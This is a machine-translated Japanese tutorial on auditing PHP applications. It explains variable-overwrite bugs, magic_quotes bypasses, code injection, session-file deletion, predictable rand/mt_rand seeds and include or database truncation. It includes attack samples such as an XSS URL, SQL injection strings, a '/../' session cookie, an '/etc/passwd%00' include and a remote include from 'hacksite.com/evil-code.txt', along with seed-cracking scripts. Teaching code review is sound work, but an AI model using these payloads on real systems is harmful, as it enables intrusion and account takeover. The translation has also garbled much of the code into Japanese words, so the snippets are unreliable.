ホームページ  >  記事  >  バックエンド開発  >  PHP コードレビュー学習_PHP 教程

PHP コードレビュー学習_PHP 教程

WBOY
WBOYオリジナル
2016-07-13 10:27:431421ブラウズ

目次

コードをコピー
1. はじめに
2. 従来のコード監査テクノロジー
3. PHP バージョンとアプリケーションコードの監査
4. その他の要素とアプリケーションコードの監査
5. 辞書を拡張します
5.1 変数自体のキー
5.2 可変範囲
5.2.1 初期化変数のトラバース
5.2.2 parse_str() 変数カバレッジの脆弱性
5.2.3 import_request_variables() 変数カバレッジの脆弱性
5.2.4 PHP5 グローバル
5.3 magic_quotes_gpc とコードセキュリティ
5.3.1 magic_quotes_gpc とは何ですか
5.3.2 魔法の引用符で保護されない場所
5.3.3 変数のエンコードとデコード
5.3.4 セカンドアタック
5.3.5 マジッククオートによってもたらされる新たなセキュリティ問題
5.3.6 変数キーとマジッククオート
5.4 コードインジェクション
5.4.1 コードインジェクションを引き起こす可能性のある PHP の関数
5.4.2 変数関数と二重引用符
5.5 PHP 独自の関数の抜け穴と欠陥
5.5.1 PHP関数のオーバーフロー脆弱性
5.5.2 PHP 関数のその他の脆弱性
5.5.3 session_destroy() 削除ファイルの脆弱性
5.5.4 ランダム関数
5.6 特殊文字
5.6.1 切り捨て
5.6.1.1 には切り捨てが含まれます
5.6.1.2 データの切り捨て
5.6.1.3 ファイル操作における特殊文字
6. 新しい辞書をさらに検索する方法
コードをコピー
1. はじめに
PHP は広く使用されているスクリプト言語であり、特に Web 開発に適しています。クロスプラットフォームで、習得が簡単で強力です。統計によると、Yahoo、Sina、163、sohu などの大規模ポータルを含む、世界中の Web サイトの 34% 以上に PHP アプリケーションが含まれています。また、Discuz、phpwind、phpbb、vbb、wordpress、boblog など、多くのよく知られた Web アプリケーション システム (bbs、ブログ、wiki、cms など) は PHP を使用して開発されています。 Web セキュリティのホットスポットが拡大するにつれて、PHP アプリケーションのコード セキュリティの問題が徐々に注目されるようになり、この分野に投資するセキュリティ担当者が増え、公開されるアプリケーション コードの脆弱性も増えています。
このような状況に対応して、多くのアプリケーション担当者はコード監査を実施するためにセキュリティ部門を設立したり、セキュリティ担当者を雇用したりしています。そのため、多くの自動化された商用コード監査ツールが登場しています。つまり、大企業の製品安全率は大幅に向上し、あの明らかな抜け穴は基本的に消滅し、誰もが知っているあの監査技術は役に立たない、という状況が生じているのです。
私たちは、専門家によって n 回スキャンされた多くのツールやコードに直面しています。多くのセキュリティ担当者は少し悲観的で、一部の公式セキュリティ担当者も自分のコードに非常に自信を持っていますが、「そんなものはない」ということを忘れないでください。絶対的なセキュリティ」を実現するには、新しい脆弱性を悪用する新しい方法を探す必要があります。この記事では、従来とは異なる技術的な経験をいくつか紹介します。
2. 従来のコード監査テクノロジー
WEB アプリケーションの脆弱性ハンティングは、基本的に変数と関数の 2 つの要素を中心に展開します。つまり、脆弱性を悪用するには、送信した悪意のあるコードを n 回の変数変換を通じて変数に渡し、最終的に実行のためにターゲット関数に渡す必要があります。まだ覚えていますか? 「すべての入力は有害です。」
この文では変数の入力のみを強調しています。多くのプログラマーは「入力」を単なる gpc[GET,_POST,$_COOKIE] として理解していますが、変数は転送プロセス中に多くの変更を受けます。その結果、多くのフィルターは単なる「張り子の虎」になってしまいます。コードの安全性を別の言葉で説明しましょう。「関数に入るすべての変数は有害です」。
PHP コード監査テクノロジは、最も一般的に使用されており、現在主な方法です。静的分析では、主にセキュリティの脆弱性に簡単につながる可能性のある危険な関数を探します。grep、findstr などの一般的に使用される検索ツール、および多くの自動化ツール。これらの関数を検索するには正規表現も使用します。ここでは、一般的に使用される関数をいくつか示します。これらの関数は、以下で説明する辞書です。ただし、基本的に既存の辞書の抜け穴を見つけるのは難しいため、辞書を拡張する必要があります。これらの辞書もこの記事の主な焦点です。
他の方法には、PHP ソース コードを変更して変数フローを分析する、またはアプリケーション コードを監査するために危険な関数をフックするなどがありますが、これらも上記の辞書に依存します。
3. PHP バージョンとアプリケーションコードの監査
これまでのところ、PHP には php4、php5、php6 の 3 つの主要なバージョンがあり、使用率はおおよそ次のとおりです。
php4
68% 2000-2007、2008/08以降はセキュリティ修正なし、最終バージョンはphp4.4.9
php5
32% 2004 年以降、現在バージョン 5.2.6 (PHP 5.3 alpha1 リリース!)
php6
これはまだテスト段階にあり、多くの変更が加えられ、magic_quotes_gpc などの多くのセキュリティ オプションがキャンセルされました (これは今日の議論の範囲ではありません)
PHP には自動アップグレード メカニズムがないため、現在の PHP バージョンが共存しており、パッチが適用されていない多くの既存の脆弱性にもつながります。これらの脆弱な機能は、当社の WEB アプリケーション コード監査の焦点でもあり、当社の辞書の重要な情報源でもあります。
4. その他の要素とアプリケーションコードの監査
多くのコード監査人は、コードを取得した後にそのコードを確認するだけです。「セキュリティは全体である」ということを無視しています。コードのセキュリティは、上で説明した PHP バージョンなど、他の多くの要素に関連しています。 OSの種類(主にwin/*nixの2大陣営)、WEBサーバーソフト(主にiis/apacheの2大陣営)など。これは、システムや Web サーバーが異なれば、セキュリティ機能や特性も異なるためです。これについては、以下の一部で説明します。
そのため、企業の WEB アプリケーション コードを監査するときは、その企業が使用しているシステム、WEB サーバー ソフトウェア、PHP のバージョン、その他の情報を知る必要があります。
5. 辞書を拡張します
以下では、いくつかの非伝統的な PHP アプリケーション コード監査のためのいくつかの脆弱性の種類と悪用テクニックを詳細に紹介します。
5.1 変数自体のキー
変数の送信と言えば、GET、POST、COOKIEなどのユーザーが送信した変数の値しか見ていない人が多いですが、プログラムによっては変数自体のキーを変数として抽出して渡すプログラムもあることを忘れています。したがって、本質的には、変数自体のキー値もデータ入力ストリームのメンバーであり、監査スコープに含める必要があります。
コードをコピー
//key.php?aaaa'aaa=1&bb'b=2
//print_R($_GET);
foreach ($_GET AS $key => $value)
{
print $key."n";
}
?>
コードをコピー
上記のコードでは、次の URL を送信すると、変数自体のキーが抽出されて表示されます。
http://localhost/test/key.php?<script>alert(1);</script>=1&bbb=2
これは xss の脆弱性につながります。さらに言えば、このキーが include() や SQL クエリなどの関数に送信された場合はどうなるでしょうか? :)
5.2 可変範囲
多くの脆弱性発見者は、指定されたパラメーターが EXTR_OVERWRITE である場合、または関数が指定されていない場合に、extract() 関数が変数の上書きを引き起こす可能性があることを知っていますが、次のような変数の上書きにつながる状況は他にもたくさんあります: 初期化された変数の走査
次のコードを参照してください:
コードをコピー
//var.php?a=クソ
$a='こんにちは';
foreach($_GET as $key => $value)
{
$$key = $value;
}
$a を印刷します;
?>
コードをコピー
Discuz 4.1 の WAP 部分のコードなど、多くの WEB アプリケーションが上記の方法を使用しています。
コードをコピー
$chs = '';
if($_POST && $charset != 'utf-8')
{
$chs = 新しい中国語('UTF-8', $charset);
foreach($_POST as $key => $value)
{
$$key = $chs->Convert($value);
}
unset($chs);
...
コードをコピー
そしてDEDECMSのcommon.inc.php
コードをコピー
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v)
{
if($_k == 'nvarname')
{
${$_k} = $_v;
}
その他
{
${$_k} = _RunMagicQuotes($_v);
}
}
}
コードをコピー
CMS のこれらのコード モジュールは、PHP のローカル変数登録をシミュレートおよび実装します。これにより、当然、同じ変数カバレッジのセキュリティ問題が発生します。
0x1: parse_str() 変数カバレッジの脆弱性
コードをコピー
//var.php?var=new
$var = '初期化';
parse_str($_SERVER['QUERY_STRING'])
$var;を印刷します
?>
訪問:
http://localhost/test/var.php?var=new
コードをコピー
この関数は配列変数を上書きすることもできます。上記のコードは $_SERVER'QUERY_STRING' を通じて変数を抽出します。「=」を挿入することで他の変数を上書きできます。
コードをコピー
//var.php?var=1&a[1]=var1%3d222
$var1 = '初期化';
parse_str($a[$_GET['var']]);
$var1;
を印刷します
?>
訪問
http://localhost/test/index.php?var=1&a[1]=var1%3d222
コードをコピー
上記のコードは、var を送信することで var1 を上書きします。
http://cn2.php.net/manual/zh/function.parse-str.php
0x2: import_request_variables() 変数カバレッジの脆弱性
GET/POST/Cookie 変数をグローバル スコープにインポートします。この関数は、 register_globals を無効にしても、いくつかのグローバル変数を使用したい場合に便利です。
http://www.php.net/manual/zh/function.import-request-variables.php
この機能によって引き起こされる可能性のある脆弱性は次のとおりです:
コードをコピー
//var.php?_SERVER[REMOTE_ADDR]=10.1.1.1
echo 'GLOBALS '.(int)ini_get("register_globals")."n";
import_request_variables('GPC');
if ($_SERVER['REMOTE_ADDR'] != '10.1.1.1')
{
死ね(「消えて!」);
}
echo 'こんにちは、管理者!';
?>
訪問
http://localhost/test/var.php?_SERVER[REMOTE_ADDR]=10.1.1.1
コードをコピー
5.3 magic_quotes_gpc とコードセキュリティ
まず第一に、理解する必要があるのは、magic_quotes_gpc のバージョンです
PHP 5.3.0 より前で有効
PHP 5.3.0以降非推奨
PHP 5.4.0 以降、つまりどの設定が無効であっても削除されました
開くと、' (一重引用符)、" (二重引用符)、(バックスラッシュ)、および NULL 文字はすべてバックスラッシュで自動的にエスケープされます。addslashes()、mysql_escape_string()、mysql_real_escape_string など、同様の機能を持つ関数が多数あります。 ()など
ただし、PHP には、magic_quotes_gpc によって保護されていない場所がいくつかあります。セキュリティ制御のベスト プラクティスから言えば、最良の方法は、特定のタイプのセキュリティ処理コード ブロックを API にカプセル化することであるため、これを認識することが重要です。このようなリスクを伴うプログラム内のすべての場所にこの API を適用してください。理論的には、magic_quotes_gpc も同様であるはずですが、実際には、magic_quotes_gpc によって保護されていない PHP の変数は次のとおりです。
コードをコピー
1. $_SERVER 変数
PHP5 の $_SERVER 変数には、magic_quotes_gpc の保護が欠けており、これが近年 X-Forwarded-For の脆弱性の爆発的な増加につながっています。そのため、多くのプログラマーは X-Forwarded-For のフィルタリングを検討していますが、$_SERVER 変数の他の変数についてはどうでしょうか。 ?
2. getenv() で取得される変数
$_SERVER変数に似ています
3. $HTTP_RAW_POST_DATA と PHP の入出力ストリーム
メインアプリケーションとsoap/xmlrpc/webpublish関数については、次のコードを参照してください:
..
if ( !isset( $HTTP_RAW_POST_DATA ) )
{
$HTTP_RAW_POST_DATA = file_get_contents( 'php://input' );
}
if ( isset($HTTP_RAW_POST_DATA) )
{
$HTTP_RAW_POST_DATA = トリム($HTTP_RAW_POST_DATA);
...
}
...
4. in()/limit/order by/group by などのデータベース操作の場所を忘れがちです
if(is_array($msgtobuddys))
{
$msgto = array_merge($msgtobuddys, array($msgtoid));
foreach($msgto as $uid)
{
$uid .= $comma.$uid;
$comma = ',';
}
$query = $db->query("SELECT m.username, mf.ignorepm FROM {$tablepre}members m LEFT JOIN {$tablepre}memberfields mf USING(uid) WHERE m.uid IN
($uids)");
コードをコピー
一般に、magic_quotes_gpc には 2 つの主な問題があります
1. ワイドバイトエラーによるインジェクション
2. カバレッジが不完全で、プログラム内のすべての入力変数に安全処理が適用されていません
そのため、PHP5.4 以降、PHP は magic_quotes_gpc のサポートを停止し、開発者は入力変数を処理するためのセキュリティ開発のベストプラクティスに従うことが推奨されます。
0x1: 変数のエンコードとデコード
WEB プログラムの多くの機能を実現するには変数のエンコードとデコードが必要ですが、この転送プロセス中にフィルタリング セキュリティ防御を静かにバイパスする可能性があります。
このタイプの主な機能は次のとおりです:
コードをコピー
1. ストリップスラッシュ()
これは実際には decode-addslashes() です
2. その他の文字列変換関数:
1)base64_decode MIMEbase64を使用してエンコードされたデータをデコードします
2) Base64_encode MIME Base64 を使用してデータをエンコードします
3) rawurldecode エンコードされた URL 文字列をデコードします
4) rawurlencode RFC 1738 に従って URL をエンコードします
5) urldecode エンコードされた URL 文字列をデコードします
6) urlencode URL文字列をエンコードします
...
3. アンシリアライズ/シリアライズ
4. 文字セット機能(GKB、UTF7/8...)
1) iconv()
2) mb_convert_encoding()
コードをコピー
変数やコーディング自体には明らかな脆弱性はありません。これがもたらす問題は、攻撃者のペイロードの意図が隠蔽され、WAF や IDS などの防御戦略の失敗を引き起こすことです。
0x2: マジッククオート/エスケープによって引き起こされる新たなセキュリティ問題
まず、マジッククオートの処理メカニズムを見てみましょう:
1. -->\
2.「-->」
3.「-->」
4. ヌル->
これは非常に便利な記号「"」を紹介します。「" 記号はエスケープ記号であるだけでなく、WIN システムではディレクトリジャンプ記号でもあります ("" の後の内容のみがインターセプトされます)。この機能は、PHP アプリケーションに非常に興味深い脆弱性を引き起こす可能性があります:
コードをコピー
1.オリジナルキャラクターを入手
...
$order_sn=substr($_GET['order_sn'], 1);
//送信 '
//マジッククォーテーションマーク処理「
//substr
$sql = "SELECT order_id、order_status、shipping_status、pay_status、". "shipping_time、shipping_id、invoice_no、user_id "
$ecs->table('order_info'). " WHERE order_sn = '$order_sn' LIMIT 1";
2.「」文字を取得します
...
$order_sn=substr($_GET['order_sn'], 0,1);
//送信 '
//マジッククォーテーションマーク処理「
//substr
$sql = "SELECT order_id、order_status、shipping_status、pay_status、". "shipping_time、shipping_id、invoice_no、user_id "
$ecs->table('order_info'). " WHERE order_sn = '$order_sn' および order_tn='".$_GET['order_tn']."'";
..
投稿内容:
?order_sn='&order_tn=%20and%201=1/*
実行される SQL ステートメントは次のとおりです:
order_info WHERE から order_id、order_status、shipping_status、pay_status、payment_time、shipping_id、invoice_no、user_id を選択します
order_sn = '' および order_tn=' および 1=1/*'
コードをコピー
5.4 コードインジェクション
0x1: コードインジェクションを引き起こす可能性のある PHP の関数
コードインジェクションを引き起こす可能性のある PHP の API は次のとおりです:
コードをコピー
1.評価
2.preg_replace+/e
3.アサート()
4. call_user_func()
5. call_user_func_array()
6.create_function()
7. 変数関数(動的関数)
...
コードをコピー
例:
コードをコピー
//このコードを表現する方法
$sort_by=$_GET['sort_by'];
$sorter='strnatcasecmp';
$databases=array('テスト','テスト');
$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);
';
usort($databases, create_function('$a, $b', $sort_function));
コードをコピー
0x2: 変数関数と二重引用符
例えば、一重引用符と二重引用符の違いを注意深く理解する必要があります
"$an" をエコー;
エコー '$an';
?>
次のコードをもう一度見てみましょう:
//このコードを表現する方法
if($globals['bbc_email'])
{
$text = preg_replace( array("/[email=(.*?)](.*?)[/email]/ies", "/[email](.*?)[/email]/ies") 、array('check_email("$1", "$2")', 'check_email("$1", "$1")'), $text);
さらに、多くのアプリケーションは "" を使用して変数をキャッシュ ファイル、設定ファイル、またはデータ ファイルに保存し、ロードされたファイルが変数関数 ($ など) の場合、使用する必要があるときに Include を介して変数をロードします。 {$ {...}})、変数関数を挿入してコードを実行するのは簡単です。
5.5 PHP 独自の関数の抜け穴と欠陥
0x1: PHP 関数のオーバーフローの脆弱性
Stefan Esser による「Month of PHP Bugs」プロジェクトをまだ覚えていますか? より有名なものは unserialize() で、コードは次のとおりです:
unserialize(stripslashes(HTTPCOOKIEVARS[cookiename . '_data']);
以前の PHP バージョンでは、多くの関数にオーバーフローの脆弱性があったため、アプリケーションの脆弱性を監査するときは、テスト対象で使用されている PHP のバージョン情報を忘れないでください
http://www.php-security.org/
0x2: session_destroy() 削除ファイルの脆弱性
テスト済みの PHP バージョン: 5.1.2 この脆弱性は、数年前に私の友人 saiy によって発見されました。 session_destroy() 関数の機能は、多くの Web アプリケーションのログアウト関数がこの関数を直接呼び出してセッション ファイルを削除することです。一部の古いバージョンではフィルタリングが欠如しているため、任意のファイルが削除される可能性があります。テストコードは次のとおりです:
コードをコピー
//val.php
session_save_path('./');
session_start();
if($_GET['del'])
{
session_unset();
session_destroy();
}
その他
{
$_SESSION['hei']=1;
echo(session_id());
print_r($_SESSION);
}
?>
コードをコピー
構築クッキー PHPSESSID=/../1.php を送信すると、unlink('sess_/../1.php') と同等になり、../jump ディレクトリを挿入することでファイルを削除します。 phpmyadmin、sablog、phpwind3 など、多くの既知のプログラムの特定のバージョンが影響を受けます。
0x3: ランダム関数
一般に、PHP およびその他の言語には乱数に関連する 2 種類の脆弱性があります。
1. 乱数暗号文の空間長問題
2. ランダムジェネレータシード問題
1. 乱数暗号文空間長問題: rand() VS mt_rand()
//Windows 上で
print mt_getrandmax(); //2147483647
エコー "
";
print getrandmax();// 32767
?>
rand() の最大乱数は 32767 であることがわかりますが、これは簡単に解読できます。
コードをコピー
$a= md5(rand());
for($i=0;$i<=32767;$i++)
{
if(md5($i) ==$a )
{
$ i を出力します。 "-& gt; ok !! & lt; br & gt;";
終了;
}
その他
print $i."
";
}
}
?>
コードをコピー
プログラムが rand を使用してセッションを処理する場合、攻撃者がセッションをブルート フォースするのは簡単ですが、mt_rand に対して純粋なブルート フォースを使用するのは困難です。
もちろん、すべてが絶対的なわけではありません。攻撃者がターゲットのランダム システムについての事前知識を持たないという事実に基づいて、mt_rand() は枯渇に対してより耐性があると言えます。次のシナリオについて考えてみましょう:
たとえば、次のコードのロジックは、ユーザーがパスワードを取得すると、システムが新しいパスワードをランダムに生成し、ユーザーの電子メールに送信するというものです。
コードをコピー
関数 sendPSW()
{
....
$messenger = &$this->system->loadModel('system/messenger');
echo microtime() . "
";
$passwd = substr(md5(print_r(microtime(), true)), 0, 6);
}
コードをコピー
この新しく生成された passwd は、microtime() を直接呼び出し、その MD5 値の最初の 6 桁を取得することによって取得されることがわかりました。 MD5 は一方向ハッシュ関数であるため、microtime() の値を走査し、同じアルゴリズム (これは逆アルゴリズムの考え方です) に従って passwd の値を推測するだけで済みます。
PHP の
microtime() には 2 つの値が結合されており、1 つはマイクロ秒数、もう 1 つは現在のシステム秒です。
http://www.w3school.com.cn/php/func_date_microtime.asp
つまり、サーバーのシステム時刻を取得するだけでよく、この時刻を「ベース」として使用し、新しく生成されたパスワードを推測するためにそれを増やすことができます。したがって、このアルゴリズムには非常に重大な設計上の欠陥があり、プログラマが期待するランダムに生成されたパスワードは実際にはランダムではありません。
この場合、パスワードを生成する前の行は microtime() を直接呼び出して現在のページに返します。これにより、攻撃者は非常に低コストでサーバー時刻と microtime() の 2 回の呼び出し間の時間間隔を取得できます。非常に短いため、同じ秒以内である必要があり、攻撃者はマイクロ秒数を推測するだけで済みます。
(考察: 攻撃者が microtime() の弱いランダム性の脆弱性を利用して、時間の「基準」に基づいて徹底的な列挙を実行するための最も重要な前提条件は、攻撃者がサーバーのシステム時間を取得する必要があること、つまり、起動前にサーバーのシステム時間を取得する必要があることです。攻撃 キーポイントにできるだけ近い時刻を取得します。たとえば、microtime() は Cookie が生成された時点で一度取得されます。攻撃者の目的は、その時点の microtime() を「徹底的に」見つけることです。この目標を達成するには、「時間」の枯渇を効果的に実行するために、時間をできるだけ値に近づけるようにする必要があります。そうでない場合、時間間隔が長すぎると、疲労は非常に非効率的であり、アラートがトリガーされる可能性があります)
各攻撃には通常、いくつかの必要条件があるため、攻撃を送信する前に必ず注意してください。
http://www.w3school.com.cn/php/func_date_microtime.asp
オプションのパラメーターを指定せずに呼び出された場合、この関数は「msec sec」形式の文字列を返します。ここで、sec は Unix エポック (グリニッジ標準時 1970 年 1 月 1 日 0:00:00) からの秒数です。msec はマイクロ秒の部分です。 。文字列の両方の部分が秒単位で返されます。
0.68454800 1382964876
0.68459400 1382964876
次の「秒の部分」は基本的に同じであることがわかりました (これを達成するには、攻撃者はキーの近くのマイクロタイムを取得できる必要があります)。私たちがしなければならないことは、前のミリ秒の部分を使い続けることです。
コードをコピー
//この出力の機能は、攻撃者がキーポイントを取得する時間をシミュレートすることです
$timebase = microtime();
print_r($timebase . "n");
//マイクロタイムに基づいて「キー」が生成されるキーポイント
$passwd = substr(md5(print_r(microtime(), true)), 0, 6);
//徹底的な検索を開始します
for($i = 15000;;$i++)
{
$tmp = substr(md5(print_r($timebase + $i, true)), 0, 6);
print_r($tmp . "n");
if($passwd == $tmp)
{
print_r("キーが見つかりました: " . $tmp . "n");
休憩;
}
}
print_r($passwd);
?>
コードをコピー
2) ランダムジェネレーターのシード問題: mt_srand()/srand()-弱いシード(Stefan Esser 著)
擬似乱数は数学的アルゴリズムによって実装されており、擬似乱数を真にランダムにするのは「シード」です。シードが決定されると、同じ擬似乱数アルゴリズムを通じて計算される乱数の値は固定され、複数の計算から得られる値の順序も固定されます(つまり、シードが決定される限り)。同様であれば、それ以降に生成される擬似乱数も同じ乱数列となります)。
PHP 4.2.0 より前のバージョンでは、rand() と mt_rand() は srand() または mt_srand() によって「シード」される必要があります。
PHP 4.2.0 以降のバージョンでは、事前に srand() および mt_srand() を介して「シード」する必要はなくなりました。
mt_rand() を直接呼び出すことができ、システムが自動的にシードします。ただし、以前の PHP バージョンとの互換性を保つために、プログラマーは PHP コードでこのように記述することがよくあります
mt_srand();
mt_srand((double) microtime() * 100000);
mt_srand((double) microtime() * 1000000);
mt_srand((double) microtime() * 10000000);
このシードの書き方には実際には欠陥があります。time() が攻撃者に知られる可能性があることは言うまでもなく、microtime() を使用して取得されるシードの範囲は実際にはそれほど大きくありません。
0 < (ダブル) マイクロタイム() < 1
----->
0 < (倍) マイクロタイム() * 1000000 < 1000000
変更の範囲は 0 ~ 1000000 で、100 万回推測することですべてのシードをたどることができます。
PHP 4.2.0 以降のバージョンでは、シード関数を介してシードが指定されておらず、 mt_rand() が直接呼び出された場合、システムはデフォルトのシードを割り当てます (デフォルトは固定値を参照せず、この値もランダムです) )。 32 ビット システムのデフォルトの最大シード値は 2^32 であるため、シードをクラックするには最大 2^32 回試行するだけで済みます。
同じプロセス内にある場合(Apacheの再起動はできない)、同じシードに対してmt_rand()で生成される値(これが大前提です)は毎回固定されます。
コードをコピー
mt_srand(1);
echo mt_rand() . "
";
echo mt_rand() . "
";
echo mt_rand() . "
";
echo mt_rand() . "
";
echo mt_rand() . "
";
echo mt_rand() . "
";
echo mt_rand() . "
";
echo mt_rand() . "
";
?>
1244335972
15217923
1546885062
2002651684
2135443977
1865258162
1509498899
2145423170
コードをコピー
複数の訪問で得られる結果は同じ、つまりシードを決定する際にmt_rand()で1~N回生成された値は変化していません。
これに基づいて、乱数シードに対する実行可能な攻撃方法を得ることができます:
1) 徹底的な方法でシードの価値を推測します
2) mt_srand() を通じて推測されたシード値を播種します
3) mt_rand()で生成した擬似乱数の値をプログラムロジックを復元して計算します
コードをコピー
mt_srand((double) microtime() * 1000000);
echo mt_rand() . "
";
echo mt_rand() . "
";
echo mt_rand() . "
";
echo mt_rand() . "
";
echo mt_rand() . "
";
echo mt_rand() . "
";
echo mt_rand() . "
";
echo mt_rand() . "
";
?>
シードは毎回変わるため、アクセスするたびに異なるランダム値が得られます。
攻撃者が最初の乱数の値を知っているとします: 154176006 (これは実際の状況では非常に一般的です。つまり、攻撃者は擬似乱数シーケンスの値の一部しか取得できず、残りの値を推測する必要があります) 、残りの乱数を推測するのはどうでしょうか?現在使用されているシードを推測してください。
if($seed = get_seed())
{
echo "シードは: " . $seed . ";
mt_srand($seed);
echo mt_rand() . "
";
echo mt_rand() . "
";
echo mt_rand() . "
";
echo mt_rand() . "
";
echo mt_rand() . "
";
echo mt_rand() . "
";
echo mt_rand() . "
";
echo mt_rand() . "
";
}
//逆アルゴリズムのロジック、シード値を推測します
関数get_seed()
{
for($i = 0; $i <1000000; $i++)
{
mt_srand($i);
//mt_rand(); は、実際の攻撃では、攻撃者が事前に確認する必要があります。
if($str == 154176006)
{
「」であること
$i を返します;
}
false を返す;
}
}
?>
シードは: 345466
154176006
1557534108
1434505522
563902658
470748912
1976227824
1450875174
1698782154
コードをコピー
この攻撃に対抗するには、出力時に完全な擬似乱数ツリーを入力しないでください。たとえば、元の値が 1450875174 である場合は、それを切り捨てて、切り捨てられた数値のみを出力します。この方法では、攻撃者は擬似乱数を取得できません。その結果、代わりに Seed が起動されました
Stefan Esser は、彼の記事でちょっとしたトリックについても言及しました。Keep-Alive HTTP ヘッダーを送信することで、サーバーに同じ PHP プロセスを強制的に使用させて、乱数が次の場所にのみ播種されます。一度使用したときの始まり。
Web アプリケーションでは、乱数を取得できる場所が数多くあるため、シードを推測する可能性が得られます。 Stefan Esser 氏は、ページ上の前のアプリケーションによって返されたランダム値を通じて、他のアプリケーションによって生成されたランダム値を推測する「クロスアプリケーション攻撃」のアイデアを提供しました。
mt_srand((double) microtime() * 1000000);
$search_id = mt_rand();
サーバーが $search_id をページに返すと、攻撃者は現在のシードを推測する可能性があります。
コードをコピー
これは、以前分析したDiscuzのユーザーパスワード変更のPOCに関する私の分析と考察です
http://www.freebuf.com/articles/web/12088.html
原理は似ています
1) 攻撃者は疑似ランダムシーケンスの 1 つを取得できます
2) 攻撃者は、擬似乱数シーケンス (つまり、シーケンス番号) のどの値を取得するかを決定する必要があります
3) 逆アルゴリズムを使用して、この疑似乱数に使用されるシードを徹底的に列挙します
4) このシードを使用して他の疑似乱数を生成します
コードをコピー
この攻撃は実際に実行可能です。たとえば、WordPress と PhpBB がサーバーに同時にインストールされている場合、phpBB を使用してシードを推測し、次に WordPress のパスワード取得機能を使用して新しく生成されたパスワードを推測できます。 Stefan Esser は攻撃プロセスを次のように説明しています:
コードをコピー
1) Keep-Alive HTTP リクエストを使用して、phpBB2 フォーラムで文字列「a」を検索します。
2) 検索では必然的に大量の結果が生成され、search_id も漏洩します。
3) この値を通じて乱数のシードを推測するのは簡単です (phpBB のネイティブ生成アルゴリズムを使用してシードを逆に導出することができます)
4) 攻撃者は引き続き Keep-Alive HTTP ヘッダーを使用して、管理者パスワードをリセットするリクエストを WordPress ブログに送信します。
5) WordPress mt_rand() は確認リンクを生成し、管理者の電子メールに送信します。
6) 攻撃者は、計算されたシードに基づいてこの確認リンクを構築できます。
7) 攻撃者はこのリンクを確認し (Keep-Alive ヘッダーを使用)、WordPress は新しく生成されたパスワードを管理者の電子メールに送信します。
8) 新しいパスワードも mt_rand() によって生成されるため、攻撃者は引き続きパスワードを計算できます。
9) こうして、攻撃者は最終的に新しい管理者パスワードを取得しました
コードをコピー
5.6 特殊文字
0x1: 切り捨て
最も有名なのは、誰もがよく知っている null 文字の切り捨てです
0x2: 切り捨てを含みます
$_GET['action'].".php" をインクルードします
?>
「action=/etc/passwd%00」で「%00」を送信すると、後続の「.php」が切り詰められます
「%00」に加えて、「action=http://www.hacksite.com/evil-code.txt?「here」?」を送信することで「疑似切り捨て」も実現できます。
WEB リクエストでパラメータ分離を使用して「疑似切り捨て」を実行することに加えて、長すぎる文字列を切り詰めることもできます。つまり、長すぎる文字列を挿入してコンテンツの元の後半を絞り出すこともできます
コードをコピー
////////////////////
////var5.php コード:
////$_GET['action'].".php"を含む
////print strlen(realpath("./"))+strlen($_GET['action']);
////////////////////
ini_set('最大実行時間', 0);
$str='';
for($i=0;$i<50000;$i++)
{
$str=$str."/";
$resp=file_get_contents('http://127.0.0.1/test/index.php?action=1.txt'.$str);
//1.txt のコードは print 'hi';
if (strpos($resp, 'hi') !== false)
{
print $i;
終了;
}
}
?>
コードをコピー
テスト後、文字「.」、「/」、または 2 文字の組み合わせは、win システムと *nix のシステム長が異なります。win, strlen(realpath("./") ) )+strlen($_GET['action']) は、長さが 256 を超える場合に切り捨てられます。*nix の場合、長さは 4 * 1024 = 4096 です。 php.ini でリモート ファイルを閉じるように設定する場合、上記のテクニックを使用してローカル ファイルを含めることができます
0x3: データの切り捨て
多くのWebアプリケーションファイルでは、ユーザー登録機能など、多くの機能でデータの重複が許可されません。一般に、アプリケーションは登録のために送信されたユーザー名とデータベースに既に存在するユーザー名を比較して重複データが存在するかどうかを確認します。ただし、「データの切り捨て」を使用すると、データベースが処理中に切り捨てを生成し、その結果、重複したデータ。
コードをコピー
1) Mysql SQL 列切り捨ての脆弱性
これは、mysql の sql_mode がデフォルトに設定されている場合、つまり STRICT_ALL_TABLES オプションがオンになっていない場合、MySQL は長すぎる値を挿入するときにエラーではなく警告のみを表示するためです (エラーの場合は、挿入は成功しません)、切り捨ての問題が発生する可能性があります。テストは次のとおりです:
mysql> truncated_test(`username`,`password`) 値("admin","pass");
mysql> truncated_test(`username`,`password`) value("admin x", "new_pass");
クエリ OK、1 行が影響を受ける、1 つの警告 (0.01 秒)
mysql>select * from truncated_test;
+----+--------------+----------+
| ユーザー名 |
+----+--------------+----------+
| 1 | 管理者パス
| 管理者 |
+----+--------------+----------+
2行セット(0.00秒)
2) Mysql charset 切り捨ての脆弱性
mysql が utf8 などのデータを保存および処理する場合、一部の文字によりデータの切り捨てが発生する可能性があります。テストは次のとおりです:
mysql> truncated_test(`username`,`password`) value(concat("admin",0xc1), "new_pass2");
クエリ OK、1 行が影響を受ける、1 つの警告 (0.00 秒)
mysql>select * from truncated_test;
+----+--------------+----------+
| ユーザー名 |
+----+--------------+----------+
| 1 | 管理者パス
| 管理者 |
| 新しいパス 2 |
+----+--------------+----------+
2行セット(0.00秒)
多くの Web アプリケーションはこれらの問題を考慮せず、次のコードに示すように、データを保存する前にデータに同じデータが含まれているかどうかを単にクエリします。
$result = mysql_query("SELECT * from test_user where user='$user' ");
....
if(@mysql_fetch_array($result, MYSQL_NUM))
{
die("すでに存在します");
}
コードをコピー
これらの脆弱性は両方とも、アカウント登録の繰り返しや管理者アカウント権限の昇格などの抜け穴につながる可能性があります。
0x4: ファイル操作の特殊文字
ファイル操作には特別な役割を果たす特殊文字が多数あり、多くの Web アプリケーションはこれらの文字の処理に注意を払っていないため、セキュリティ上の問題が発生します。たとえば、Windows システム ファイル名が「スペース」や「.」などを無視することは多くの人が知っています。これは主にファイルのアップロードやファイルの書き込みに反映され、WebShell を直接記述することになります。さらに、Windows システムの場合は、「...」などでシステム ジャンプを実行します。例:
コードをコピー
..
//このコードは vul ですか?
if( エレギ(".php",$url) )
{
死ぬ("ERR");
}
$fileurl=str_replace($webdb[www_url],"",$url);
.....
header('Content-Disposition:attachment; filename='.$filename);
コードをコピー
